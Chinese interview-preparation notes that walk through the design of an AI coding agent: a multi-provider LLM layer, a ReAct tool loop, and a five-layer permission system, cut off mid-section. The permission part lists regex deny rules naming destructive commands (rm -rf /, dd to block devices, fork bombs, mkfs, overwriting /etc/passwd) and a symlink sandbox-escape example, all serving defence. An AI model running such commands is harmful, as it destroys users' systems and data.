02 简历五大技术点拆解
本文按简历的 5 条逐条拆解。每条的结构是: ① 简历原文 → ② 30 秒口述 → ③ 实现要点(代码依据) → ④ 设计权衡(面试官真正想听的) → ⑤ 备注与坑
代码路径均相对于
mewcode/,格式文件:行号。
技术点 1:多协议 LLM 引擎
① 简历原文
多协议 LLM 引擎:协议无关的 Provider 抽象层,支持 Anthropic Messages API(含扩展思考/Prompt Cache)+ OpenAI Chat Completions + 任意兼容端点;一份配置自由切换,上层代码对协议无感
② 30 秒口述
「我做了一层
llm.Provider接口,只有三个方法:返回供应商名、返回模型名、发起一轮流式对话。 所有协议差异都收敛在两个地方:一是输入的归一化——上层给我的是一份协议无关的消息列表和工具定义,我在适配器里转成各家 SDK 要的格式;二是输出的归一化——各家的流式事件五花八门,我在适配器里统一成五种语义:文本增量、工具调用、token 用量、正常结束、出错。 所以上层 Agent 循环从头到尾不知道底下是 Anthropic 还是 OpenAI。真实的差异点主要在两处:工具结果的表达方式——Anthropic 要把tool_result塞进一条 user 消息里,OpenAI 是独立的tool角色消息;以及扩展思考和 Prompt Cache 只有 Anthropic 有,我通过配置开关和分段设计来处理。」
③ 实现要点(代码依据)
接口定义(internal/llm/provider.go)
type Provider interface {
Name() string // 状态栏左侧:供应商名称
Model() string // 状态栏右侧:模型名
Stream(ctx context.Context, req Request) <-chan StreamEvent // 发起一轮流式对话
}只有这三个方法。没有 CountTokens、Embed、ListModels 之类的多余方法——因为上层不需要。
协议无关的数据类型(provider.go)
| 类型 | 字段 | 设计意图 |
|---|---|---|
ToolCall | ID / Name / Input json.RawMessage | Input 用 json.RawMessage 而不是 map,避免解析再序列化的开销和精度损失 |
ToolResult | ToolCallID / Content / IsError | IsError 是独立布尔,不是靠内容约定 |
ToolDefinition | Name / Description / InputSchema map[string]any | 完整 JSON Schema 透传 |
Message | Role / Content / ToolCalls / ToolResults | 只三种角色:user / assistant / tool |
Usage | InputTokens / OutputTokens / CacheWrite / CacheRead | 把两家的缓存语义统一成两个字段 |
StreamEvent 的五态语义(provider.go:63-72 注释原文):
Text 非空 → 文本增量(正文或 preamble)
ToolCalls 非空 → 模型请求执行这些工具(Done 之前发出)
Usage 非空 → 本轮 token 用量(Done 之前一次性发出)
Done → 本轮正常结束
Err 非空 → 出错关键约束:Text 与 ToolCalls 可以先后出现但不同时非空;Done/Err 互斥且是终结事件。这条约束让消费端(agent.streamOnce)可以用一个 switch 无歧义地分派。
输入拆成「稳定段 + 环境段」(缓存设计)
type System struct {
Stable string // 可缓存:装配好的稳定系统提示(不含时间/环境等变化成分)
Environment string // 不缓存:环境信息段(每轮可能变化)
}这是整个协议层最重要的一个设计。 原因:
- Anthropic 的 Prompt Cache 是按前缀命中的——你打一个
cache_control断点,从开头到这个断点之间的内容整段被缓存,下次请求只要这段字节完全一致就命中,价格约为正常输入 token 的 1/10。 - 如果把「当前日期」「git 状态」这种每轮都变的东西混在系统提示里,整段缓存全部失效。
- 所以我把系统提示拆成两段,只给稳定段打断点。
Anthropic 适配器(anthropic.go:123-137):
func toAnthropicSystem(sys System) []anthropic.TextBlockParam {
var blocks []anthropic.TextBlockParam
if sys.Stable != "" {
blocks = append(blocks, anthropic.TextBlockParam{
Text: sys.Stable,
CacheControl: anthropic.NewCacheControlEphemeralParam(), // ← 缓存断点
})
}
if sys.Environment != "" {
blocks = append(blocks, anthropic.TextBlockParam{
Text: sys.Environment, // ← 不打断点
})
}
return blocks
}OpenAI 侧(openai.go:30-46)反过来——拼成单条 system 消息:
// 首条 system 消息 = Stable + "\n\n" + Environment(单条拼接兼容端点对多条 system 支持不一);
// Stable 居前缀使端点前缀缓存自动命中稳定部分。为什么两边处理不一样:OpenAI 兼容端点(DeepSeek、通义、Ollama 等)对「多条 system 消息」的支持不一致,有的只认第一条、有的直接报错,所以拼成一条最稳;而 OpenAI 的前缀缓存是自动的(不用显式断点),把 Stable 放前面就能吃到。
差异点一:工具结果的表达(这是最大的协议差异)
| Anthropic | OpenAI | |
|---|---|---|
| 工具调用请求 | assistant 消息里的 tool_use content block | assistant 消息的 tool_calls 字段 |
| 工具结果 | 必须是 user 消息里的 tool_result block | 独立的 role: "tool" 消息,每个结果一条 |
| 一条消息装多个结果 | 可以,多个 tool_result block | 必须拆成多条 tool 消息 |
代码对照:
// Anthropic:把所有 tool_result 塞进一条 user 消息
case RoleTool:
var blocks []anthropic.ContentBlockParamUnion
for _, tr := range m.ToolResults {
blocks = append(blocks, anthropic.NewToolResultBlock(tr.ToolCallID, tr.Content, tr.IsError))
}
result = append(result, anthropic.NewUserMessage(blocks...))// OpenAI:每个结果一条独立 tool 消息
case RoleTool:
for _, tr := range m.ToolResults {
result = append(result, openai.ToolMessage(tr.Content, tr.ToolCallID))
}这个差异为什么重要:如果你按 Anthropic 的方式去想,会以为「一轮工具结果 = 一条消息」。实际上 OpenAI 要求拆开。而反过来,Anthropic 要求 tool_result 必须在 user 消息里——如果你发了一条 assistant 消息带 tool_result,直接 400。
差异点二:reminder 的注入位置
「reminder」是每轮的补充指令(计划模式提醒、Hook 注入的文本),它不能污染稳定的系统提示(否则缓存失效),所以只能挂在消息尾部。但两家规则不同:
// Anthropic:并入最后一条 user 消息的 content 块;末条非 user 时新起一条 user 消息
// 注释:确保角色交替合法(N3)
func appendReminderAnthropic(msgs []anthropic.MessageParam, reminder string) []anthropic.MessageParam// OpenAI:直接追加一条尾部 user 消息(OpenAI 容忍连续 user)
if req.Reminder != "" {
result = append(result, openai.UserMessage(req.Reminder))
}Anthropic 必须小心的坑:Anthropic 要求 user / assistant 严格交替。如果轮次循环结束后最后一条是 assistant(模型刚请求了工具),你再追加一条 user 的 reminder,会变成 ... assistant → assistant 或者违反交替规则报 400。所以代码里做了「末条是 user 就合并进去,不是就新起一条」的判断。
差异点三:扩展思考(Extended Thinking)
// 启用扩展思考(历史含工具交互时关闭,避免 400)
if p.cfg.Thinking && !hasToolHistory(req.Messages) {
params.Thinking = anthropic.ThinkingConfigParamOfEnabled(16000)
}为什么「历史含工具交互就关闭」:Anthropic 的约束是——如果最后一条 assistant 消息带 tool_use,那么必须立刻跟一条 tool_result,这种请求不允许开 thinking。项目里 hasToolHistory 只要历史里出现过工具调用就返回 true,是个保守判定(宁可不思考,也不能 400)。
差异点四:token 用量与缓存字段的映射
// Anthropic
CacheWrite: int64(acc.Usage.CacheCreationInputTokens),
CacheRead: int64(acc.Usage.CacheReadInputTokens),
// OpenAI
CacheWrite: 0, // 无对应概念
CacheRead: int64(acc.Usage.PromptTokensDetails.CachedTokens),CacheWrite 在 OpenAI 侧恒为 0——因为 OpenAI 的缓存是自动的,没有「写缓存」这个显式动作和计价。
差异点五:超长错误识别
两家的超长错误文案不统一,只能靠字符串匹配:
func wrapAnthropicPTL(err error) error {
if strings.Contains(errStr, "prompt is too long") ||
strings.Contains(errStr, "context_length") ||
strings.Contains(errStr, "too many tokens") {
return fmt.Errorf("%w: %v", ErrPromptTooLong, err)
}
return err
}func wrapOpenAIPTL(err error) error {
if strings.Contains(errStr, "context_length_exceeded") ||
strings.Contains(errStr, "maximum context length") ||
strings.Contains(errStr, "too long") ||
strings.Contains(errStr, "token") && strings.Contains(errStr, "exceed") {
return fmt.Errorf("%w: %v", ErrPromptTooLong, err)
}
return err
}这是全项目最"脆"的一段代码,原因见下面④。
任意兼容端点怎么接
config.ProviderConfig 里有一个 BaseURL,非空时才覆盖 SDK 默认端点:
opts := []option.RequestOption{option.WithAPIKey(cfg.APIKey)}
if cfg.BaseURL != "" {
opts = append(opts, option.WithBaseURL(cfg.BaseURL))
}因为 DeepSeek、通义、Ollama、vLLM 等都提供 OpenAI 兼容接口,所以「接任意兼容端点」= 用 protocol: openai + 填 base_url。
④ 设计权衡(面试官想听的)
权衡 1:为什么用 channel 而不是 callback?
流式接口有两种经典设计:Stream(ctx, req, onEvent func(StreamEvent)) 和 Stream(ctx, req) <-chan StreamEvent。我选了 channel。理由:
- 取消语义统一。channel 方案里消费者
range或select,配合ctx.Done()自然可中断;callback 方案里要么靠 callback 返回bool表示停止(丑),要么靠 panic(更丑)。 - 背压天然存在。如果用无缓冲 channel,消费者不读、生产者就阻塞——这在 Agent 场景下是好事:UI 卡住时不应该让 LLM 请求继续往里灌数据。
- 组合性好。上层
streamOnce就是一个for ev := range stream的循环,没有回调嵌套。
代价:每个请求多一个 goroutine,而且必须在生产端 defer close(ch)。这个我在两个适配器里都做了。
权衡 2:为什么 ToolCall.Input 用 json.RawMessage 而不是 map[string]any?
三个理由:① 避免「解析 → 保存 → 再序列化」的双重开销;② JSON 数字精度不会丢(map[string]any 会把数字变成 float64);③ 模型偶尔会产出不合法的 JSON 参数,用 RawMessage 我可以原样传给工具,让工具的 json.Unmarshal 去报错,而不是在协议层就崩掉。
权衡 3:为什么错误识别靠字符串匹配?(这是可以主动承认的弱点)
因为两家 SDK 都没有提供结构化的「超长」错误类型。我翻过 SDK 的错误定义,只有泛化的 API 错误。所以只能匹配文案。
这个方案的脆弱点是:Anthropic 改了错误文案,或者走一个第三方兼容端点、文案是中文的,这个识别就会失效。
失效后果有多严重?不会崩——只会退化成「普通错误」,走 emit(Event{Err: ...}) 结束本轮,用户看到报错。代价是失去了「紧急压缩后自动重试」这个体验,不是正确性问题。
如果要做对,正确方案是:
- 更好的做法是预防而不是事后识别——我的
AutoSafetyMargin留了 13,000 token 的安全余量,正常情况下应该在本地估算阶段就触发压缩,根本轮不到 provider 报错。紧急压缩是最后一道兜底。 - 真要根治,应该改用本地 tokenizer 精确计数(比如 Anthropic 的
count_tokens端点),把那 13,000 的余量省下来,也让超长从「事后发现」变成「事前不可能发生」。
权衡 4:ContextWindow 的默认值从哪来?
const (
DefaultAnthropicContextWindow = 200000
DefaultOpenAIContextWindow = 128000
)配置里 context_window 写 0 就用协议默认值。为什么不一刀切? 因为它直接决定压缩阈值——给 Anthropic 用 128000 会导致过早压缩(浪费了 72K 的窗口),给 OpenAI 用 200000 会导致压缩太晚(请求被拒)。所以必须按协议区分。
但这里的实现有个隐患:main.go 里 ContextWindow: cfg.Providers[0].EffectiveContextWindow() —— 写死了第 0 个 provider。如果用户在 TUI 里切换到第 2 个 provider,压缩阈值还是按第 0 个算的。这是个真实缺陷,被追问时要承认。
⑤ 备注与坑
| 坑 | 说明 | 被问到怎么答 |
|---|---|---|
| 没有单测 | internal/llm 无任何测试文件(go test 显示 [no test files]) | 直接承认,给出补救方案(见 06) |
| 配置无环境变量支持 | api_key 只有 YAML 一层,SDK 自带的「读 ANTHROPIC_API_KEY」兜底被无条件 option.WithAPIKey 覆盖 | 「我知道这是个体验问题——密钥只能写文件。改进方向是 api_key 支持 ${VAR} 语法或直接读环境变量,项目里 MCP 配置已经支持 ${VAR} 展开了,可以复用同一套逻辑。」 |
| 没有默认 model 表 | model 是必填项,validate() 里空值直接报错 | 「我是刻意不提供默认 model 的。默认值会在模型换代后变成过期配置,用户以为自己在用新模型其实不是——显式报错比悄悄用默认值安全。」 |
max_tokens 写死 4096 | params.MaxTokens = 4096 | 「这是个硬编码,理想应该可配。4096 对代码类回答偏小,长文件生成会被截断。这也是我要改的点之一。」 |
| 只支持两种 protocol | New() 的 default 分支直接报「不支持的协议类型」 | 「接口是开放的,加第三家只需要实现三个方法 + 一个适配器文件,不改上层任何代码——这正是抽象的目的。」 |
技术点 2:多轮 ReAct Agent 闭环
① 简历原文
多轮 ReAct Agent 闭环:完整思考→行动→观察→思考循环(10 轮迭代上限);只读工具同轮并发执行、副作用工具串行保序;连续幻觉检测自动停止
② 30 秒口述
「Agent 本体就是一个循环:调模型 → 模型要么直接给文本结束,要么请求调工具 → 我执行工具、把结果回灌进历史 → 再调模型。 有三个我认为值得讲的地方。 第一是工具执行的并发模型,我做的不是「全并发」也不是「全串行」,而是保序分批并发:连续的只读工具打包成一个批次并发跑,遇到有副作用的工具就断批、单独串行执行,不管怎么并发,结果都严格按模型请求的原始顺序回灌。 第二是停止条件,一共三条:模型自己不再请求工具(自然完成)、连续三轮整轮都请求了不存在的工具(判定为幻觉)、撞到 25 轮迭代上限。 第三是历史一致性——所有异常退出路径,不管是取消、出错还是撞上限,都会往下补一条 assistant 消息。因为如果历史末尾停在 user 或 tool 消息上,下一次请求 Anthropic 会直接 400。」
(注意:这里主动说 25 轮,不要说 10 轮。)
③ 实现要点(代码依据)
主循环骨架(internal/agent/agent.go:164-411)
func (a *Agent) Run(ctx context.Context, conv *conversation.Conversation, mode permission.Mode) <-chan Event {
ch := make(chan Event) // ← 无缓冲
go func() {
defer close(ch)
atomic.StoreInt32(&a.running, 1)
defer atomic.StoreInt32(&a.running, 0)
a.runMu.Lock() // ← 保证 Run 与 RunForceCompact 不并发
defer a.runMu.Unlock()
env := prompt.GatherEnvironment(a.version, a.provider.Model()) // Run 起始采集一次
sys := prompt.BuildSystemPrompt(...) // 稳定系统提示构造一次
unknownRun := 0
for iter := 1; iter <= maxIterations; iter++ {
emergencyRetried := false
// 1. 进度事件
if !emit(ctx, ch, Event{Iter: iter}) { finishCancelled(conv); return }
// 2. 按 mode 取工具集(Plan 模式只给只读)
var defs []llm.ToolDefinition
if mode == permission.ModePlan {
defs = a.registry.ReadOnlyDefinitions()
} else {
defs = a.registry.Definitions()
}
// 3. 上下文管理(估算 → 必要时压缩)
anchor, anchorLen := a.runtime.GetAnchor()
est := compact.EstimateTokens(anchor, conv.Messages(), anchorLen)
willSummarize := est >= int64(cw - compact.SummaryReserve - compact.AutoSafetyMargin)
out, mcErr := compact.ManageContext(ctx, in)
// 4. 构造 reminder(plan 提醒 + hook 注入)
reminder := a.buildReminder(mode, iter)
// 5. 流式请求本轮
text, calls, usage, sErr := streamOnce(ctx, a.provider, conv.Messages(), defs, sys, envText, reminder, ch)
// 6. 紧急压缩兜底:prompt_too_long → 压一次 → 重发
if sErr != nil && errors.Is(sErr, llm.ErrPromptTooLong) && !emergencyRetried { ... }
// 7. 更新 usage 锚点
if usage != nil { a.runtime.UpdateAnchor(compact.UsageAnchor(usage), conv.Len()) }
// 8. 无工具调用 → 自然完成
if len(calls) == 0 { ... emit(Done); return }
// 9. 有工具调用 → 记录 assistant 回合 + 统计未知工具 + 执行
conv.AddAssistantWithToolCalls(text, calls)
if allUnknown(a.registry, calls) { unknownRun++ } else { unknownRun = 0 }
results, completed := a.executeBatched(ctx, calls, mode, ch)
a.recordFileReads(calls, results)
conv.AddToolResults(results) // ← 无论是否取消都回灌
if !completed { ensureAssistantTail(conv, noticeCancelled); return }
if unknownRun >= maxUnknownRun {
emit(ctx, ch, Event{Notice: noticeUnknownTools})
ensureAssistantTail(conv, noticeUnknownTools)
emit(ctx, ch, Event{Done: true}); return
}
}
// 撞到迭代上限
emit(ctx, ch, Event{Notice: noticeMaxIter})
ensureAssistantTail(conv, noticeMaxIter)
emit(ctx, ch, Event{Done: true})
}()
return ch
}常量(agent.go:148-161)
const (
maxIterations = 25 // 迭代上限兜底(F2)
maxUnknownRun = 3 // 连续「整轮只产生未知工具调用」的迭代数上限(F2)
planReminderInterval = 4 // 规划模式下每隔 4 轮重复完整提醒(含首轮)
)保序分批并发(agent.go:518-979,executeBatched)
这是整个项目最值得讲的一段代码。算法:
i = 0
while i < len(calls):
if ctx 已取消: 给剩余全部填「已取消」错误结果; return (results, false)
if registry.IsReadOnly(calls[i].Name):
# 吃入连续只读区间 [i, j)
j = i
while j < len(calls) and IsReadOnly(calls[j]): j++
# 阶段 1:逐个做 hook + 权限检查,被拒的记进 preDenied,不阻塞批次
# 阶段 2:按序 emit 所有 Start 事件(UI 先全部显示出来)
# 阶段 3:被拒项预填结果,不纳入并发
# 阶段 4:未被拒的用 sync.WaitGroup 并发执行
# 阶段 5:按原始顺序 emit End 事件 + 派发 PostToolUse hook
i = j
else:
# 有副作用:单个串行执行,走完整的 hook → 权限 → Ask 流程
i += 1关键细节 1:为什么先 emit 所有 Start 再并发执行?
// 先按序 emit 所有 Start 事件
for k := i; k < j; k++ { emit(ctx, ch, Event{Tool: &ToolEvent{Name: ..., Phase: PhaseStart}}) }
// 再并发执行
wg.Wait()
// 再按原始顺序 emit End 事件
for k := i; k < j; k++ { emit(ctx, ch, Event{Tool: &ToolEvent{... PhaseEnd ...}}) }因为 UI 需要「三个工具同时在跑」的视觉效果。如果 Start/End 成对发,UI 上就变成一个跑完再跑下一个,用户会以为没有并发。
关键细节 2:权限检查不破坏并发。
注释里明确写了这条不变量(ch06/spec.md 的 N3):
只读工具的并发执行不因权限检查退化为串行(只读永不触发 Ask)
实现方式是:权限检查在并发之前逐个跑完(只读工具在模式兜底里恒为 Allow,不会阻塞),把被拒的记进 preDenied map,然后把未被拒的丢进 goroutine。
关键细节 3:结果按原始顺序回灌。
results := make([]llm.ToolResult, len(calls)) // 预分配,索引即原始位置
...
results[idx] = llm.ToolResult{...} // goroutine 按 idx 写入,不共享因为每个 goroutine 写的是自己那个索引,Go 的 slice 元素写入是独立内存位置,不需要锁。这比「用 channel 收集再排序」简单得多。
关键细节 4:拒绝不中断循环。
// 单批多调用中被拒的回灌错误、放行的正常执行,结果按调用序与各自调用 ID 配对回灌、互不串位被拒的工具会回灌一条 IsError: true 的结果,内容是拒绝原因(比如「路径在项目目录之外:/etc/passwd」)。模型看到这个原因后,会自己换个路径重试。这比直接中断整个循环好得多——模型有自我纠正的机会。
停止条件
| 条件 | 触发点 | 提示文案 |
|---|---|---|
| 自然完成 | len(calls) == 0 | 无(直接 Done) |
| 连续未知工具 | unknownRun >= 3 | 「(连续多轮只请求到未注册的工具,自动停止。)」 |
| 迭代上限 | iter > 25 | 「(已达最大迭代轮数 25,自动停止;可继续发消息推进。)」 |
| 用户取消 | ctx.Err() != nil | 「(已取消。)」 |
| 请求出错 | sErr != nil | 「(请求出错,本轮已中断。)」 |
「连续未知工具」的精确语义:
func allUnknown(registry *tool.Registry, calls []llm.ToolCall) bool {
if len(calls) == 0 { return false }
for _, c := range calls {
if _, ok := registry.Get(c.Name); ok { return false } // 只要有一个认识就返回 false
}
return true
}不是「请求了未知工具」就计数,而是「整轮请求的每一个工具都是未知的」才计数。 而且中途只要有一轮正常,计数器清零。
为什么要专门做这个检测? 因为模型幻觉出来的工具名会被 Registry.Execute 兜底成「未知工具: xxx」的 IsError 结果。如果只有这一层兜底,模型可能陷入「请求一个不存在的工具 → 收到错误 → 再请求一次」的死循环,白白烧 25 轮 token。这个检测把它卡在 3 轮。
历史一致性:ensureAssistantTail
// ensureAssistantTail 若历史末尾不是 assistant 角色,补一条兜底文本。
func ensureAssistantTail(conv *conversation.Conversation, fallback string) {
if conv.LastRole() != llm.RoleAssistant {
conv.AddAssistant(fallback)
}
}为什么必须做:Anthropic 的 Messages API 要求 user / assistant 严格交替且必须以 assistant 结尾(下一轮请求时)。如果模型请求了工具,历史末尾变成 tool 消息(在 Anthropic 侧表现为一条 user 消息带 tool_result),此时如果本轮异常退出(取消/出错),历史就停在非 assistant 上。用户再发一条消息时,请求体是 ... user(tool_result) → user(新消息),Anthropic 直接 400。
所有 5 条退出路径都调了这个函数:取消、流错误、上下文管理错误、未知工具停止、迭代上限。
事件流(agent.go:79-89)
type Event struct {
Text string // 模型文本增量
Tool *ToolEvent // 工具调用开始/结束
Usage *Usage // 本轮 token 用量
Iter int // >0:进入第 Iter 轮迭代
Notice string // 系统提示(停止原因等),仅用于 UI 展示,不入对话历史
Done bool // 本轮(整个 Loop)结束
Err error // 出错(不中断会话)
Approval *ApprovalRequest // 非空:请求人在回路批准
Compact *CompactEvent // 压缩生命周期事件
}设计要点:所有字段都是可选的,消费端按「非零字段」switch 分派。这样加新事件类型时不用改接口签名——只需要加一个字段 + 在消费端加一个 case。比「用 interface + 类型断言」轻量得多。
④ 设计权衡
权衡 1:为什么只读并发、写串行,而不是全并发或全串行?
全串行的代价:模型一次请求读 5 个文件,串行就是 5 × 延迟。如果每个文件读盘 50ms,就是 250ms 白白浪费——而这 5 个读之间没有任何依赖。
全并发的代价:如果同一轮里有 write_file(a.go) 和 bash(go build),并发的话 go build 可能在写完成之前跑,读到旧代码。更糟的是两个 write_file 写同一个文件会互相覆盖。这类 bug 是概率性的、最难查的。
分批的收益:拿到了「无依赖时不等待、有依赖时保序」的最优解。而判断依据就是 ReadOnly() 这一个布尔——因为「只读」在语义上等价于「无副作用、不影响其他工具的观察结果」,所以可以安全并发。
这个抽象成立吗? 有个边界情况:两个只读工具读同一个文件,其中一个读到写了一半的内容——但这是写入方的问题(写入方是串行的、有权限拦的),不是并发读的问题。所以判定成立。
权衡 2:为什么用「一整轮全未知」而不是「单个未知工具」作幻觉信号?
如果一个批次里模型请求了 [read_file, reaad_file](拼错了第二个),「单个未知」会立刻计数;但模型下一轮大概率自己发现并纠正。我要求整轮全落空,就是为了给它自我纠正的空间——只要有一次拼对,就说明它在正常工作。
代价是:如果一个错误工具名和一个正确工具名永远成对出现,这个检测永远不会触发。但那种情况下模型其实在正常干活,不该停。
权衡 3:25 轮够不够?
这是我改过的一个数字(简历上的 10 轮是旧值)。改成 25 的原因:一个真实的复杂任务——比如「重构 auth 模块」——大概是:glob 找文件(1轮) → read 三个文件(1轮) → grep 找引用(1轮) → 分析后写一个文件(1轮) → 跑测试(1轮) → 修 3 个错误(3轮) → 跑测试(1轮) ≈ 10 轮。如果中途有反复,15–20 轮是常见的。10 轮会在任务快完成时被切断,非常挫败。
25 轮的成本是:最坏情况下烧掉 25 轮 token。但因为「模型不再请求工具就停」,正常任务根本到不了 25 轮——这个上限只在异常时起作用,所以在「够用」和「兜底」之间,我选择给大一点。
权衡 4:Run 返回 channel,为什么不是 callback 或同步返回?
和 Provider 的考量相同,但这里多一层收益:TUI 需要实时渲染。如果 Run 是同步返回最终结果的,UI 只能干等;返回 channel 后,TUI 能拿到「进入第几轮」「哪个工具在跑」「用了多少 token」这些中间状态,才能做出真正的流式体验。
代价是要处理「消费者消失」:
func emit(ctx context.Context, ch chan<- Event, e Event) bool {
select {
case ch <- e:
return true
case <-ctx.Done():
return false
}
}所有 emit 都走这个函数。因为 channel 是有缓冲/无缓冲的,如果消费者(TUI)退出而 agent 还在发,ch <- e 会永久阻塞,goroutine 泄漏。加上 ctx.Done() 分支后,取消时立刻返回 false,然后所有调用点都会走「给剩余工具填取消结果 → return」的收尾路径。
这段代码的调用点非常多(我数了一下大概 30 处),每个地方都要处理 false 的分支(提前 return 并回填剩余结果)。这是 channel 方案的真实成本——代码比 callback 方案啰嗦。
⑤ 备注与坑
| 坑 | 说明 |
|---|---|
maxIterations 硬编码 | 不可配置。理由:「迭代上限应该是产品的安全兜底,让用户配的话,改成 1000 就等于关掉了兜底。」 |
| 子 Agent 的幻觉阈值更严 | run_to_completion.go 里 maxUnknownRunSub = 2(主 Agent 是 3)。理由:子 Agent 的轮数预算本来就少,早点停更划算。 |
running 标记和 runMu 双保险 | running 是给 TUI 查询「agent 是否在跑」用的(原子读);runMu 是真正防止 Run 和 RunForceCompact 并发的锁。两者职责不同。 |
| 事件 channel 无缓冲 | 无缓冲 = 强背压。好处是 TUI 卡住时 agent 不空转;代价是 TUI 的每一帧渲染都会卡住 agent。见 07 文档的 O(n²) 讨论。 |
ensureFinal 保证非空文本 | 如果模型返回空文本且没有工具调用,会兜底写「(任务已完成)」——否则历史里会出现空的 assistant 消息。 |
技术点 3:五层权限防御体系
⚠️ 这是字节面试官最可能深挖的一条。建议配合
04-面试题库-权限与安全.md一起看。
① 简历原文
五层权限防御体系:① 危险命令黑名单 → ② 文件操作沙箱 → ③ YAML 规则引擎三层优先级匹配 → ④ 四档模式兜底(Default/AcceptEdits/Plan/Bypass)→ ⑤ 人在回路弹窗,TUI 实时模式切换无需重启
② 30 秒口述
「权限我设计成一条流水线,五层按固定顺序判定,命中即短路,全过才执行。 第一层是危险命令黑名单,10 条正则,覆盖
rm -rf /、mkfs、dd of=/dev/sda、fork 炸弹这类极端破坏。它的特殊之处是不可配置放开——用户改不了、关不掉,而且连 Bypass 模式都绕不过,因为它是最高优先级。 第二层是文件沙箱,把文件操作锁在项目目录内。这里有个我觉得挺重要的细节:判断路径时我先解析符号链接再比对前缀,否则项目里一个指向/etc的软链接就能把沙箱绕过去;对还不存在的新文件,我会回退到最近的已存在祖先目录去解析,避免「新建文件」这个正常场景被误拦。 第三层是 YAML 规则引擎,三层配置从近到远——本地级、项目级、用户级,就近命中即返回;规则支持精确匹配、正则、通配和取反四种语法。 第四层是四档模式兜底,这是关键:它只会产生「允许」或「询问」,永远不产生「拒绝」。因为拒绝是规则和黑名单的职责,模式只是「用户想让 Agent 多自由」的档位。 第五层是人在回路,判定为「询问」时通过 channel 把请求丢给 TUI 弹窗,Agent 阻塞等人回答,三选一:允许本次、永久允许、拒绝。选永久允许会把这条精确调用写成规则落盘,跨会话生效。」
③ 实现要点(代码依据)
流水线(internal/permission/engine.go)
func (e *Engine) Check(mode Mode, call llm.ToolCall, readOnly bool) (Decision, string) {
cat := categorize(call.Name, readOnly)
friendly := friendlyName(call.Name)
target, isFile, ok := extractTarget(call)
// ① 黑名单:仅对命令执行类生效(N1 最高优先级,bypass 也拦)
if cat == CategoryExec && target != "" && hitsBlacklist(target) {
return Deny, "命中危险命令黑名单:" + summarize(target, 60)
}
// ② 沙箱:仅对文件类工具生效(N2)
if isFile {
if !ok {
return Deny, "无法解析文件路径参数,安全拒绝"
}
if !e.sandboxOK(target) {
return Deny, "路径在项目目录之外:" + target
}
}
// ③ 规则引擎:本地 > 项目 > 用户,就近命中即返回
for _, layer := range []struct{ rs RuleSet; name string }{
{e.local, "本地"}, {e.project, "项目"}, {e.user, "用户"},
} {
if d, hit := layer.rs.match(friendly, target, isFile); hit {
if d == Deny {
return Deny, fmt.Sprintf("匹配 %s deny 规则:%s(%s)", layer.name, friendly, target)
}
return Allow, ""
}
}
// ④ 模式兜底矩阵:只产 Allow 或 Ask
return modeFallback(mode, cat)
}第 ① 层:黑名单(internal/permission/blacklist.go)
10 条正则,逐条列出:
| # | 正则(简化) | 拦什么 |
|---|---|---|
| 1 | rm\s+(-[a-zA-Z]*[rf][a-zA-Z]*\s+)+(/|~|$HOME|/\*) | rm -rf /、rm -rf ~ 等变体 |
| 2 | dd\s+.*of=/dev/(sd|hd|nvme|disk|xvd|vd|mmcblk|loop|ram|pmem) | dd 写块设备 |
| 3 | :\(\)\s*\{[^}]*|[^}]*&\s*\} | fork 炸弹 |
| 4 | \bmkfs\. | mkfs 格式化 |
| 5 | >\s*/dev/(sd|hd|nvme|...)\) | 重定向覆盖块设备 |
| 6 | chmod\s+-R\s+0?777\s+(/|/etc|/bin|/sbin|/usr|/var) | 递归 777 敏感目录 |
| 7 | \bdd\s+if=.*\s+of=/dev/(sd|hd|nvme) | dd if/of 变体 |
| 8 | rm\s+.*--no-preserve-root\s+(/|/\*) | 带 --no-preserve-root 的删除 |
| 9 | \bmv\s+.*\s+(/etc/passwd|/etc/shadow|/etc/sudoers|/boot/) | 覆盖关键系统文件 |
| 10 | (wipefs|dd)\s+.*/dev/(sd[a-z]|hd[a-z]|nvme\dn\d)\b | 清分区表 |
包注释里的两条不变量(这是设计的核心,一定要背):
// 覆盖已知高危模式:递归强删根/家目录、写块设备、fork 炸弹、
// 重定向覆盖磁盘设备、格式化文件系统、递归改权限到 777 等。
// 用户不可增删或关闭黑名单;bypassPermissions 也拦。注意命中条件有三个:cat == CategoryExec(只对命令类)+ target != ""(能解析出命令串)+ 正则命中。
第 ② 层:沙箱(internal/permission/sandbox.go)
核心函数 sandboxOK:
func (e *Engine) sandboxOK(path string) bool {
if path == "" { path = e.root }
abs := path
if !filepath.IsAbs(abs) { abs = filepath.Join(e.root, path) }
abs = filepath.Clean(abs) // 清理 .. 等
resolved := evalSymlinksOrAncestor(abs) // 解析符号链接(或祖先回退)
sep := string(os.PathSeparator)
return resolved == e.root || strings.HasPrefix(resolved, e.root+sep)
}两个关键设计:
- 先解析符号链接再比对(N2)。如果直接比
strings.HasPrefix(abs, root),项目里放一个ln -s /etc ./evil,然后读./evil/passwd就绕过去了——因为字符串前缀是对的,但实际指向项目外。 - 祖先回退(
evalSymlinksOrAncestor)。新文件a/b/c/new.go里b/c还不存在,EvalSymlinks会失败。如果失败就当拒绝,那新建文件这个最常见的场景全废了。所以代码逐级回退到最近存在的祖先:
// 覆盖"新建文件、含未创建中间目录"的场景:假设
// root=/a(已存在),目标=/a/b/c/new.go(b/c 尚不存在),
// 则回退 /a/b/c → /a/b → /a(存在),解析 /a 的符号链接后拼回 b/c/new.go。前缀比对的边界处理:用 root+sep 而不是 root——否则 root 是 /home/me/proj 时,/home/me/project2 会被误判为「在项目内」(因为以 /home/me/proj 开头)。这是个经典的路径前缀 bug,值得单独讲。
第 ③ 层:规则引擎(rule.go + matcher.go + settings.go)
三层配置文件与优先级:
| 层级 | 路径 | 用途 |
|---|---|---|
| 本地级(最高) | <root>/.mewcode/settings.local.yaml | 个人偏好,gitignore 保护;「永久允许」写这里 |
| 项目级 | <root>/.mewcode/settings.yaml | 团队共享,可提交 |
| 用户级(最低) | ~/.mewcode/settings.yaml | 全局 |
层间语义:local > project > user,就近命中即返回(不合并、不继续往下找)。
层内语义:deny 优先于 allow。
func (rs RuleSet) match(friendly, target string, isFile bool) (Decision, bool) {
// deny 优先
for _, r := range rs.deny {
if r.Tool == friendly && matchRule(r, target) { return Deny, true }
}
// allow
for _, r := range rs.allow {
if r.Tool == friendly && matchRule(r, target) { return Allow, true }
}
return Decision(0), false
}为什么 deny 优先? 因为 allow 常常写得比较宽(Bash(git *)),而 deny 是例外(Bash(git push --force))。如果 allow 优先,例外就永远不生效。
规则语法(Rule 注释原文):
// 匹配语法升级(v2):
// - "=value" → 精确匹配(整串相等)
// - "~regex" → 正则匹配
